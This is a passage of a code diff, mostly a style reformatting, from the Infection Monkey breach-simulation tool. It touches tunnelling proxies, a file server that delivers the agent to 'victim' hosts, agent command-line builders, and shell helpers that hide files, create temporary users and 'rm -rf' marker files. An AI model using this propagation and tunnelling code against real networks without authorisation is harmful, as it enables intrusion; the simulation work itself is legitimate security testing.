b/monkey/infection_monkey/transport/base.py index a02d86708..77be3f3af 100644 --- a/monkey/infection_monkey/transport/base.py +++ b/monkey/infection_monkey/transport/base.py @@ -5,7 +5,7 @@ g_last_served = None class TransportProxyBase(Thread): - def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''): + def __init__(self, local_port, dest_host=None, dest_port=None, local_host=""): global g_last_served self.local_host = local_host diff --git a/monkey/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py index 1502e844c..182ca0611 100644 --- a/monkey/infection_monkey/transport/http.py +++ b/monkey/infection_monkey/transport/http.py @@ -15,8 +15,6 @@ from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time -__author__ = 'hoffer' - LOG = getLogger(__name__) @@ -47,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): chunk = end_range - start_range try: self.wfile.write(f.read(chunk)) - except: + except Exception: break total += chunk start_range += chunk @@ -65,11 +63,11 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): f.close() def send_head(self): - if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)): + if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): self.send_error(500, "") return None, 0, 0 try: - f = monkeyfs.open(self.filename, 'rb') + f = monkeyfs.open(self.filename, "rb") except IOError: self.send_error(404, "File not found") return None, 0, 0 @@ -78,7 +76,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): end_range = size if "Range" in self.headers: - s, e = self.headers['range'][6:].split('-', 1) + s, e = self.headers["range"][6:].split("-", 1) sl = len(s) el = len(e) if sl > 0: @@ -98,33 +96,38 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): self.send_response(200) self.send_header("Content-type", "application/octet-stream") - self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size)) + self.send_header( + "Content-Range", + "bytes " + str(start_range) + "-" + str(end_range - 1) + "/" + str(size), + ) self.send_header("Content-Length", min(end_range - start_range, size)) self.end_headers() return f, start_range, end_range def log_message(self, format_string, *args): - LOG.debug("FileServHTTPRequestHandler: %s - - [%s] %s" % (self.address_string(), - self.log_date_time_string(), - format_string % args)) + LOG.debug( + "FileServHTTPRequestHandler: %s - - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) + ) class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): timeout = 30 # timeout with clients, set to None not to make persistent connection - proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header def do_POST(self): try: - content_length = int(self.headers['Content-Length']) + content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() LOG.info("Received bootloader's request: {}".format(post_data)) try: dest_path = self.path - r = requests.post(url=dest_path, - data=post_data, - verify=False, - proxies=infection_monkey.control.ControlClient.proxies, - timeout=SHORT_REQUEST_TIMEOUT) + r = requests.post( # noqa: DUO123 + url=dest_path, + data=post_data, + verify=False, + proxies=infection_monkey.control.ControlClient.proxies, + timeout=SHORT_REQUEST_TIMEOUT, + ) self.send_response(r.status_code) except requests.exceptions.ConnectionError as e: LOG.error("Couldn't forward request to the island: {}".format(e)) @@ -144,18 +147,21 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): LOG.info("Received a connect request!") # just provide a tunnel, transfer the data with no modification req = self - req.path = "https://%s/" % req.path.replace(':443', '') + req.path = "https://%s/" % req.path.replace(":443", "") u = urlsplit(req.path) address = (u.hostname, u.port or 443) try: conn = socket.create_connection(address) except socket.error as e: - LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e)) + LOG.debug( + "HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" + % (repr(address), e) + ) self.send_error(504) # 504 Gateway Timeout return - self.send_response(200, 'Connection Established') - self.send_header('Connection', 'close') + self.send_response(200, "Connection Established") + self.send_header("Connection", "close") self.end_headers() conns = [self.connection, conn] @@ -175,8 +181,10 @@ class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler): conn.close() def log_message(self, format_string, *args): - LOG.debug("HTTPConnectProxyHandler: %s - [%s] %s" % - (self.address_string(), self.log_date_time_string(), format_string % args)) + LOG.debug( + "HTTPConnectProxyHandler: %s - [%s] %s" + % (self.address_string(), self.log_date_time_string(), format_string % args) + ) class HTTPServer(threading.Thread): @@ -198,11 +206,13 @@ class HTTPServer(threading.Thread): @staticmethod def report_download(dest=None): - LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename).send() + LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + TempHandler.T1105Telem( + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, + ).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True @@ -229,6 +239,7 @@ class LockedHTTPServer(threading.Thread): and subsequent code will be able to continue to execute. That way subsequent code will always call already running HTTP server """ + # Seconds to wait until server stops STOP_TIMEOUT = 5 @@ -247,15 +258,18 @@ class LockedHTTPServer(threading.Thread): class TempHandler(FileServHTTPRequestHandler): from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + filename = self._filename @staticmethod def report_download(dest=None): - LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1])) - TempHandler.T1105Telem(TempHandler.ScanStatus.USED, - get_interface_to_target(dest[0]), - dest[0], - self._filename).send() + LOG.info("File downloaded from (%s,%s)" % (dest[0], dest[1])) + TempHandler.T1105Telem( + TempHandler.ScanStatus.USED, + get_interface_to_target(dest[0]), + dest[0], + self._filename, + ).send() self.downloads += 1 if not self.downloads < self.max_downloads: return True diff --git a/monkey/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py index 329ef1875..60a995edc 100644 --- a/monkey/infection_monkey/transport/tcp.py +++ b/monkey/infection_monkey/transport/tcp.py @@ -32,13 +32,13 @@ class SocketsPipe(Thread): other = self.dest if r is self.source else self.source try: data = r.recv(READ_BUFFER_SIZE) - except: + except Exception: break if data: try: other.sendall(data) update_last_serve_time() - except: + except Exception: break self._keep_connection = True @@ -47,7 +47,6 @@ class SocketsPipe(Thread): class TcpProxy(TransportProxyBase): - def run(self): pipes = [] l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -71,7 +70,13 @@ class TcpProxy(TransportProxyBase): pipe = SocketsPipe(source, dest) pipes.append(pipe) - LOG.debug("piping sockets %s:%s->%s:%s", address[0], address[1], self.dest_host, self.dest_port) + LOG.debug( + "piping sockets %s:%s->%s:%s", + address[0], + address[1], + self.dest_host, + self.dest_port, + ) pipe.start() l_socket.close() diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 6d261ce2b..2f73ad9bf 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -10,25 +10,25 @@ from infection_monkey.network.info import get_free_tcp_port, local_ips from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.transport.base import get_last_serve_time -__author__ = 'hoffer' - LOG = logging.getLogger(__name__) -MCAST_GROUP = '224.1.1.1' +MCAST_GROUP = "224.1.1.1" MCAST_PORT = 5007 BUFFER_READ = 1024 DEFAULT_TIMEOUT = 10 QUIT_TIMEOUT = 60 * 10 # 10 minutes -def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=''): +def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.settimeout(timeout) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((adapter, MCAST_PORT)) - sock.setsockopt(socket.IPPROTO_IP, - socket.IP_ADD_MEMBERSHIP, - struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY)) + sock.setsockopt( + socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), + ) return sock @@ -60,8 +60,8 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): l_ips = local_ips() if default: - if default.find(':') != -1: - address, port = default.split(':', 1) + if default.find(":") != -1: + address, port = default.split(":", 1) if _check_tunnel(address, port): return address, port @@ -76,14 +76,14 @@ def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT): while True: try: answer, address = sock.recvfrom(BUFFER_READ) - if answer not in [b'?', b'+', b'-']: + if answer not in [b"?", b"+", b"-"]: tunnels.append(answer) except socket.timeout: break for tunnel in tunnels: - if tunnel.find(':') != -1: - address, port = tunnel.split(':', 1) + if tunnel.find(":") != -1: + address, port = tunnel.split(":", 1) if address in l_ips: continue @@ -135,28 +135,34 @@ class MonkeyTunnel(Thread): LOG.info("Machine firewalled, listen not allowed, not running tunnel.") return - proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port) - LOG.info("Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", - proxy.__class__.__name__, - self.local_port, - self._target_addr, - self._target_port) + proxy = self._proxy_class( + local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port + ) + LOG.info( + "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", + proxy.__class__.__name__, + self.local_port, + self._target_addr, + self._target_port, + ) proxy.start() while not self._stopped: try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if b'?' == search: + if b"?" == search: ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match, self.local_port) - LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) + answer = "%s:%d" % (ip_match, self.local_port) + LOG.debug( + "Got tunnel request from %s, answering with %s", address[0], answer + ) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) - elif b'+' == search: + elif b"+" == search: if not address[0] in self._clients: LOG.debug("Tunnel control: Added %s to watchlist", address[0]) self._clients.append(address[0]) - elif b'-' == search: + elif b"-" == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] @@ -165,11 +171,12 @@ class MonkeyTunnel(Thread): LOG.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients)) - # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in QUIT_TIMEOUT seconds + # wait till all of the tunnel clients has been disconnected, or no one used the tunnel in + # QUIT_TIMEOUT seconds while self._clients and (time.time() - get_last_serve_time() < QUIT_TIMEOUT): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) - if b'-' == search: + if b"-" == search: LOG.debug("Tunnel control: Removed %s from watchlist", address[0]) self._clients = [client for client in self._clients if client != address[0]] except socket.timeout: @@ -187,7 +194,7 @@ class MonkeyTunnel(Thread): return ip_match = get_interface_to_target(host.ip_addr) - host.default_tunnel = '%s:%d' % (ip_match, self.local_port) + host.default_tunnel = "%s:%d" % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py index bc2c9452b..767237d1f 100644 --- a/monkey/infection_monkey/utils/auto_new_user.py +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -8,8 +8,10 @@ class AutoNewUser(metaclass=abc.ABCMeta): """ RAII object to use for creating and using a new user. Use with `with`. User will be created when the instance is instantiated. - User will be available for use (log on for Windows, for example) at the start of the `with` scope. - User will be removed (deactivated and deleted for Windows, for example) at the end of said `with` scope. + User will be available for use (log on for Windows, for example) at the start of the `with` + scope. + User will be removed (deactivated and deleted for Windows, for example) at the end of said + `with` scope. Example: # Created # Logged on @@ -18,7 +20,7 @@ class AutoNewUser(metaclass=abc.ABCMeta): ... # Logged off and deleted ... - """ + """ def __init__(self, username, password): self.username = username @@ -29,7 +31,7 @@ class AutoNewUser(metaclass=abc.ABCMeta): raise NotImplementedError() @abc.abstractmethod - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): raise NotImplementedError() @abc.abstractmethod diff --git a/monkey/infection_monkey/utils/auto_new_user_factory.py b/monkey/infection_monkey/utils/auto_new_user_factory.py index 898226d46..22c57c578 100644 --- a/monkey/infection_monkey/utils/auto_new_user_factory.py +++ b/monkey/infection_monkey/utils/auto_new_user_factory.py @@ -5,13 +5,15 @@ from infection_monkey.utils.windows.users import AutoNewWindowsUser def create_auto_new_user(username, password, is_windows=is_windows_os()): """ - Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information. + Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more + information. Example usage: with create_auto_new_user(username, PASSWORD) as new_user: ... :param username: The username of the new user. :param password: The password of the new user. - :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for + :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is + created. Leave blank for automatic detection. :return: The new AutoNewUser object - use with a `with` scope. """ diff --git a/monkey/infection_monkey/utils/bit_manipulators.py b/monkey/infection_monkey/utils/bit_manipulators.py new file mode 100644 index 000000000..8e87e6768 --- /dev/null +++ b/monkey/infection_monkey/utils/bit_manipulators.py @@ -0,0 +1,11 @@ +def flip_bits(data: bytes) -> bytes: + flipped_bits = bytearray(len(data)) + + for i, byte in enumerate(data): + flipped_bits[i] = flip_bits_in_single_byte(byte) + + return bytes(flipped_bits) + + +def flip_bits_in_single_byte(byte) -> int: + return 255 ^ byte diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py new file mode 100644 index 000000000..ee2f0153a --- /dev/null +++ b/monkey/infection_monkey/utils/commands.py @@ -0,0 +1,65 @@ +from infection_monkey.config import GUID +from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG +from infection_monkey.model.host import VictimHost + + +def build_monkey_commandline( + target_host: VictimHost, depth: int, vulnerable_port: str, location: str = None +) -> str: + + return " " + " ".join( + build_monkey_commandline_explicitly( + GUID, + target_host.default_tunnel, + target_host.default_server, + depth, + location, + vulnerable_port, + ) + ) + + +def build_monkey_commandline_explicitly( + parent: str = None, + tunnel: str = None, + server: str = None, + depth: int = None, + location: str = None, + vulnerable_port: str = None, +) -> list: + cmdline = [] + + if parent is not None: + cmdline.append("-p") + cmdline.append(str(parent)) + if tunnel is not None: + cmdline.append("-t") + cmdline.append(str(tunnel)) + if server is not None: + cmdline.append("-s") + cmdline.append(str(server)) + if depth is not None: + if int(depth) < 0: + depth = 0 + cmdline.append("-d") + cmdline.append(str(depth)) + if location is not None: + cmdline.append("-l") + cmdline.append(str(location)) + if vulnerable_port is not None: + cmdline.append("-vp") + cmdline.append(str(vulnerable_port)) + + return cmdline + + +def get_monkey_commandline_windows(destination_path: str, monkey_cmd_args: list) -> list: + monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG] + + return monkey_cmdline + monkey_cmd_args + + +def get_monkey_commandline_linux(destination_path: str, monkey_cmd_args: list) -> list: + monkey_cmdline = [destination_path, MONKEY_ARG] + + return monkey_cmdline + monkey_cmd_args diff --git a/monkey/infection_monkey/utils/dir_utils.py b/monkey/infection_monkey/utils/dir_utils.py new file mode 100644 index 000000000..704556335 --- /dev/null +++ b/monkey/infection_monkey/utils/dir_utils.py @@ -0,0 +1,29 @@ +from pathlib import Path +from typing import Callable, Iterable, List, Set + + +def get_all_regular_files_in_directory(dir_path: Path) -> List[Path]: + return filter_files(dir_path.iterdir(), [lambda f: f.is_file()]) + + +def filter_files(files: Iterable[Path], file_filters: List[Callable[[Path], bool]]): + filtered_files = files + for file_filter in file_filters: + filtered_files = [f for f in filtered_files if file_filter(f)] + + return filtered_files + + +def file_extension_filter(file_extensions: Set): + def inner_filter(f: Path): + return f.suffix in file_extensions + + return inner_filter + + +def is_not_symlink_filter(f: Path): + return not f.is_symlink() + + +def is_not_shortcut_filter(f: Path): + return f.suffix != ".lnk" diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py index 40a70ce58..2ead5a837 100644 --- a/monkey/infection_monkey/utils/environment.py +++ b/monkey/infection_monkey/utils/environment.py @@ -7,7 +7,7 @@ def is_64bit_windows_os(): """ Checks for 64 bit Windows OS using environment variables. """ - return 'PROGRAMFILES(X86)' in os.environ + return "PROGRAMFILES(X86)" in os.environ def is_64bit_python(): diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index 863d1a277..92391ecc9 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -1,11 +1,16 @@ import subprocess from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.linux.hidden_files import (get_linux_commands_to_delete, get_linux_commands_to_hide_files, - get_linux_commands_to_hide_folders) -from infection_monkey.utils.windows.hidden_files import (get_windows_commands_to_delete, - get_windows_commands_to_hide_files, - get_windows_commands_to_hide_folders) +from infection_monkey.utils.linux.hidden_files import ( + get_linux_commands_to_delete, + get_linux_commands_to_hide_files, + get_linux_commands_to_hide_folders, +) +from infection_monkey.utils.windows.hidden_files import ( + get_windows_commands_to_delete, + get_windows_commands_to_hide_files, + get_windows_commands_to_hide_folders, +) def get_commands_to_hide_files(): @@ -21,6 +26,9 @@ def get_commands_to_hide_folders(): def cleanup_hidden_files(is_windows=is_windows_os()): - subprocess.run(get_windows_commands_to_delete() if is_windows # noqa: DUO116 - else ' '.join(get_linux_commands_to_delete()), - shell=True) + subprocess.run( # noqa: DUO116 + get_windows_commands_to_delete() + if is_windows + else " ".join(get_linux_commands_to_delete()), + shell=True, + ) diff --git a/monkey/infection_monkey/utils/linux/hidden_files.py b/monkey/infection_monkey/utils/linux/hidden_files.py index 468318cf8..62e43adf5 100644 --- a/monkey/infection_monkey/utils/linux/hidden_files.py +++ b/monkey/infection_monkey/utils/linux/hidden_files.py @@ -1,34 +1,28 @@ -HIDDEN_FILE = '$HOME/.monkey-hidden-file' -HIDDEN_FOLDER = '$HOME/.monkey-hidden-folder' +HIDDEN_FILE = "$HOME/.monkey-hidden-file" +HIDDEN_FOLDER = "$HOME/.monkey-hidden-folder" def get_linux_commands_to_hide_files(): return [ - 'touch', # create file + "touch", # create file + HIDDEN_FILE, + "&&" 'echo "Successfully created hidden file: {}" |'.format(HIDDEN_FILE), # output + "tee -a", # and write to file HIDDEN_FILE, - '&&' - 'echo \"Successfully created hidden file: {}\" |'.format(HIDDEN_FILE), # output - 'tee -a', # and write to file - HIDDEN_FILE ] def get_linux_commands_to_hide_folders(): return [ - 'mkdir', # make directory + "mkdir", # make directory HIDDEN_FOLDER, - '&& touch', # create file - '{}/{}'.format(HIDDEN_FOLDER, 'some-file'), # random file in hidden folder - '&& echo \"Successfully created hidden folder: {}\" |'.format(HIDDEN_FOLDER), # output - 'tee -a', # and write to file - '{}/{}'.format(HIDDEN_FOLDER, 'some-file') # random file in hidden folder + "&& touch", # create file + "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder + '&& echo "Successfully created hidden folder: {}" |'.format(HIDDEN_FOLDER), # output + "tee -a", # and write to file + "{}/{}".format(HIDDEN_FOLDER, "some-file"), # random file in hidden folder ] def get_linux_commands_to_delete(): - return [ - 'rm', # remove - '-rf', # force delete recursively - HIDDEN_FILE, - HIDDEN_FOLDER - ] + return ["rm", "-rf", HIDDEN_FILE, HIDDEN_FOLDER] # remove # force delete recursively diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index 34becb8f7..002c63f96 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -1,6 +1,6 @@ import datetime import logging -import os +import shlex import subprocess from infection_monkey.utils.auto_new_user import AutoNewUser @@ -10,22 +10,21 @@ logger = logging.getLogger(__name__) def get_linux_commands_to_add_user(username): return [ - 'useradd', # https://linux.die.net/man/8/useradd - '-M', # Do not create homedir - '--expiredate', # The date on which the user account will be disabled. - datetime.datetime.today().strftime('%Y-%m-%d'), - '--inactive', # The number of days after a password expires until the account is permanently disabled. - '0', # A value of 0 disables the account as soon as the password has expired - '-c', # Comment - 'MONKEY_USER', # Comment - username] + "useradd", # https://linux.die.net/man/8/useradd + "-M", # Do not create homedir + "--expiredate", # The date on which the user account will be disabled. + datetime.datetime.today().strftime("%Y-%m-%d"), + # The number of days after a password expires until the account is permanently disabled. + "--inactive", + "0", # A value of 0 disables the account as soon as the password has expired + "-c", # Comment + "MONKEY_USER", # Comment + username, + ] def get_linux_commands_to_delete_user(username): - return [ - 'deluser', - username - ] + return ["deluser", username] class AutoNewLinuxUser(AutoNewUser): @@ -41,18 +40,26 @@ class AutoNewLinuxUser(AutoNewUser): super(AutoNewLinuxUser, self).__init__(username, password) commands_to_add_user = get_linux_commands_to_add_user(username) - logger.debug("Trying to add {} with commands {}".format(self.username, str(commands_to_add_user))) - _ = subprocess.check_output(' '.join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True) + logger.debug( + "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) + ) + _ = subprocess.check_output(commands_to_add_user, stderr=subprocess.STDOUT) def __enter__(self): return self # No initialization/logging on needed in Linux def run_as(self, command): - command_as_new_user = "sudo -u {username} {command}".format(username=self.username, command=command) - return os.system(command_as_new_user) + command_as_new_user = shlex.split( + "sudo -u {username} {command}".format(username=self.username, command=command) + ) + return subprocess.call(command_as_new_user) - def __exit__(self, exc_type, exc_val, exc_tb): + def __exit__(self, _exc_type, value, traceback): # delete the user. commands_to_delete_user = get_linux_commands_to_delete_user(self.username) - logger.debug("Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) - _ = subprocess.check_output(" ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True) + logger.debug( + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) + ) + _ = subprocess.check_output(commands_to_delete_user, stderr=subprocess.STDOUT) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py index ad80bc73d..0b97f83b9 100644 --- a/monkey/infection_monkey/utils/monkey_log_path.py +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -5,10 +5,16 @@ from infection_monkey.config import WormConfiguration def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + return ( + os.path.expandvars(WormConfiguration.monkey_log_path_windows) + if sys.platform == "win32" else WormConfiguration.monkey_log_path_linux + ) def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + return ( + os.path.expandvars(WormConfiguration.dropper_log_path_windows) + if sys.platform == "win32" else WormConfiguration.dropper_log_path_linux + ) diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py index 662c0e35a..f72585cd3 100644 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -11,14 +11,13 @@ LOG = logging.getLogger(__name__) def _get_candidate_files(base_package_file): files = glob.glob(join(dirname(base_package_file), "*.py")) - return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith("__init__.py")] -PluginType = TypeVar('PluginType', bound='Plugin') +PluginType = TypeVar("PluginType", bound="Plugin") class Plugin(metaclass=ABCMeta): - @staticmethod @abstractmethod def should_run(class_name: str) -> bool: @@ -33,15 +32,20 @@ class Plugin(metaclass=ABCMeta): """ objects = [] candidate_files = _get_candidate_files(cls.base_package_file()) - LOG.info("looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name())) + LOG.info( + "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) + ) # Go through all of files for file in candidate_files: # Import module from that file - module = importlib.import_module('.' + file, cls.base_package_name()) + module = importlib.import_module("." + file, cls.base_package_name()) # Get all classes in a module # m[1] because return object is (name,class) - classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls))] + classes = [ + m[1] + for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and issubclass(m[1], cls)) + ] # Get object from class for class_object in classes: LOG.debug("Checking if should run object {}".format(class_object.__name__)) @@ -50,7 +54,11 @@ class Plugin(metaclass=ABCMeta): objects.append(class_object) LOG.debug("Added {} to list".format(class_object.__name__)) except Exception as e: - LOG.warning("Exception {} when checking if {} should run".format(str(e), class_object.__name__)) + LOG.warning( + "Exception {} when checking if {} should run".format( + str(e), class_object.__name__ + ) + ) return objects @classmethod @@ -67,7 +75,9 @@ class Plugin(metaclass=ABCMeta): instance = class_object() instances.append(instance) except Exception as e: - LOG.warning("Exception {} when initializing {}".format(str(e), class_object.__name__)) + LOG.warning( + "Exception {} when initializing {}".format(str(e), class_object.__name__) + ) return instances @staticmethod diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py deleted file mode 100644 index ffd3ebb2d..000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py +++ /dev/null @@ -1,5 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin # noqa: F401 - - -class SomeDummyPlugin: - pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py b/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py deleted file mode 100644 index 18e83c052..000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py +++ /dev/null @@ -1,7 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin - - -class BadPluginInit(TestPlugin): - - def __init__(self): - raise Exception("TestException") diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py b/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py deleted file mode 100644 index 2d73cd65b..000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py +++ /dev/null @@ -1,15 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin - - -class NoInheritance: - pass - - -class BadInit(TestPlugin): - - def __init__(self): - raise Exception("TestException") - - -class ProperClass(TestPlugin): - pass diff --git a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py b/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py deleted file mode 100644 index a3fe237b6..000000000 --- a/monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py +++ /dev/null @@ -1,5 +0,0 @@ -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin - - -class PluginWorking(TestPlugin): - pass diff --git a/monkey/infection_monkey/utils/plugins/plugin_test.py b/monkey/infection_monkey/utils/plugins/plugin_test.py deleted file mode 100644 index c587bfed2..000000000 --- a/monkey/infection_monkey/utils/plugins/plugin_test.py +++ /dev/null @@ -1,36 +0,0 @@ -from unittest import TestCase - -from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin -from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit -from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin -from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking - - -class PluginTester(TestCase): - - def test_combo_file(self): - TestPlugin.classes_to_load = [BadInit.__name__, ProperClass.__name__] - to_init = TestPlugin.get_classes() - self.assertEqual(len(to_init), 2) - objects = TestPlugin.get_instances() - self.assertEqual(len(objects), 1) - - def test_bad_init(self): - TestPlugin.classes_to_load = [BadPluginInit.__name__] - to_init = TestPlugin.get_classes() - self.assertEqual(len(to_init), 1) - objects = TestPlugin.get_instances() - self.assertEqual(len(objects), 0) - - def test_bad_import(self): - TestPlugin.classes_to_load = [SomeDummyPlugin.__name__] - to_init = TestPlugin.get_classes() - self.assertEqual(len(to_init), 0) - - def test_flow(self): - TestPlugin.classes_to_load = [PluginWorking.__name__] - to_init = TestPlugin.get_classes() - self.assertEqual(len(to_init), 1) - objects = TestPlugin.get_instances() - self.assertEqual(len(objects), 1) diff --git a/monkey/infection_monkey/utils/random_password_generator.py b/monkey/infection_monkey/utils/random_password_generator.py new file mode 100644 index 000000000..273343c22 --- /dev/null +++ b/monkey/infection_monkey/utils/random_password_generator.py @@ -0,0 +1,8 @@ +import secrets + +SECRET_BYTE_LENGTH = 32 + + +def get_random_password(length: int = SECRET_BYTE_LENGTH) -> str: + password = secrets.token_urlsafe(length) + return password diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py index d5687fc2d..818c88a6e 100644 --- a/monkey/infection_monkey/utils/windows/hidden_files.py +++ b/monkey/infection_monkey/utils/windows/hidden_files.py @@ -9,55 +9,58 @@ HIDDEN_FILE_WINAPI = HOME_PATH + "\\monkey-hidden-file-winAPI" def get_windows_commands_to_hide_files(): return [ - 'echo', - 'Successfully created hidden file: {}'.format(HIDDEN_FILE), # create empty file - '>', + "echo", + "Successfully created hidden file: {}".format(HIDDEN_FILE), # create empty file + ">", HIDDEN_FILE, - '&&', - 'attrib', # change file attributes - '+h', # hidden attribute - '+s', # system attribute + "&&", + "attrib", # change file attributes + "+h", # hidden attribute + "+s", # system attribute + HIDDEN_FILE, + "&&", + "type", HIDDEN_FILE, - '&&', - 'type', - HIDDEN_FILE ] def get_windows_commands_to_hide_folders(): return [ - 